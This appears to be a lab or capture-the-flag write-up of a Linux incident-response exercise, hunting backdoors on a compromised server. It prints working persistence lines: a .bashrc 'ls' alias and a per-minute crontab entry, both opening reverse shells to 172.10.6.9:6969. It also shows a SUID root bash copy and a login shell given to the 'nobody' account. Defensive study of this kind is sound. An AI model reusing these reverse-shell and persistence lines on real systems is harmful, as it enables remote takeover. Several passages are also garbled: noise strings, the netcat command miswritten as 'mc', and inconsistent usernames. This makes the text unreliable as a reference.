

Linux

A server has been compromised, and the security team has decided to isolate the machine until it's been thoroughly cleaned up. Initial checks by the Incident Response team revealed that there are five different backdoors. It's your job to find and remediate them before giving the signal to bring the server back to production

target = "10.10.220.55"

checking OS version

```
cat /etc/os-release
```

We need to analyse the home directory to check for any suspicious files

There is a `.bad_bash` file, not usual

```
#####J####
++ #####Depepe(####)Me( ##### x* 48giorgio@giorgio:~$
giorgio@giorgio:~$ ls -al
total 1280
drwxr-xr-x 4 giorgio giorgio 4096 Apr 13 2022 .
drwxr-xr-x 3 root root 4096 Apr 13 2022 ..
-rwsr-xr-x 1 root root 1183448 Apr 13 2022 .bad_bash
-rw-r--r-- 1 giorgio giorgio 0 Jun 4 06:43 .bash_history
-rw-r--r-- 1 giorgio giorgio 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 giorgio giorgio 3897 Apr 13 2022 .bashrc
drwx----- 2 giorgio giorgio 4096 Apr 13 2022 .cache
-rw-r--r-- 1 giorgio giorgio 807 Feb 25 2020 .profile
-rw-rw-r-- 1 giorgio giorgio 75 Apr 13 2022 .selected_editor
drwx----- 2 giorgio giorgio 4096 Apr 13 2022 .ssh
-rw-r--r-- 1 giorgio giorgio 0 Apr 13 2022 .sudo_as_admin_successful
-rw-r----- 1 giorgio giorgio 10111 Apr 13 2022 .viminfo
giorgio@giorgio:~$ cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells
# ... (rest of the file content) ...
```

Lets check the content of `.bashrc`

```
# colored GCC warnings and errors
export GCC_COLORS="error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01"

# some more ls aliases
alias ll='ls -lF'
alias la='ls -A'
alias l='ls -CF'
alias ls='(bash -i >& /dev/tcp/172.10.6.9/6969 0>61 6 disom) 2>/dev/null; ls --color=auto'

# Add an "alert" alias for long running commands. Use like so:
# sleep 10; alert
alias alert='notify-send --urgency=low -i "${[ $? = 0 ]} 66 echo terminal || echo error)" "${history/tail -n1|sed -e '\''s/^s*[0-9]\+\s*//;s/[/;:]\s*alert$/'\''}"'

# Alias definitions.
# You may want to put all your additions into a separate file like
```

We no move to scheduled tasks, cronjobs

```
/etc/crontab
```

Unfortunatly, there is nothing at the system-level.

We need to check at the user level.

```
/var/spool/cron/crontabs/giorgia
```

```
giorgio
giorgio@giorgio:~$ sudo cat /var/spool/cron/crontabs/giorgia
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.YxdsFv/crontab installed on Wed Apr 13 04:49:56 2022)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
* * * * * /usr/bin/rm /tmp/f; /usr/bin/mkfifo /tmp/f; /usr/bin/cat /tmp/f | /bin/sh -i 2>&1; /usr/bin/mc 172.10.6.9 6969 >/tmp/f
giorgio@giorgio:~$
```

Lets look for any unusual users in the system

/etc/passwd

```
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:11:11:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ircd:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:0:nobody:/nonexistent:/bin/bash
systemd-networkd:x:100:100:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolved:x:101:101:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesyncd:x:102:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106:/:/nonexistent:/usr/sbin/nologin
syslog:x:104:110:/home/syslog:/usr/sbin/nologin
apt:x:105:65534:/:/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
```

The first four persistence mechanisms can be remediated by simply removing the mechanism (e.g. delete the file, remove the command). The same, however, involves bringing back the "nonmanuals" to their "manual".

Function as before.

Answer the questions below.

The user is running with permissions root which is not usual